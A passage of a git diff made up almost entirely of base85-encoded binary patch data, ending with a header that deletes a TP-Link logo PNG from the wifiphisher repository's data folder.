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 diff --git a/wifiphisher/data/logos/tplink.png b/wifiphisher/data/logos/tplink.png deleted file mode 100644 index cb5f3557b3ee8c530da137fb82fc866842c31db7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10310 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 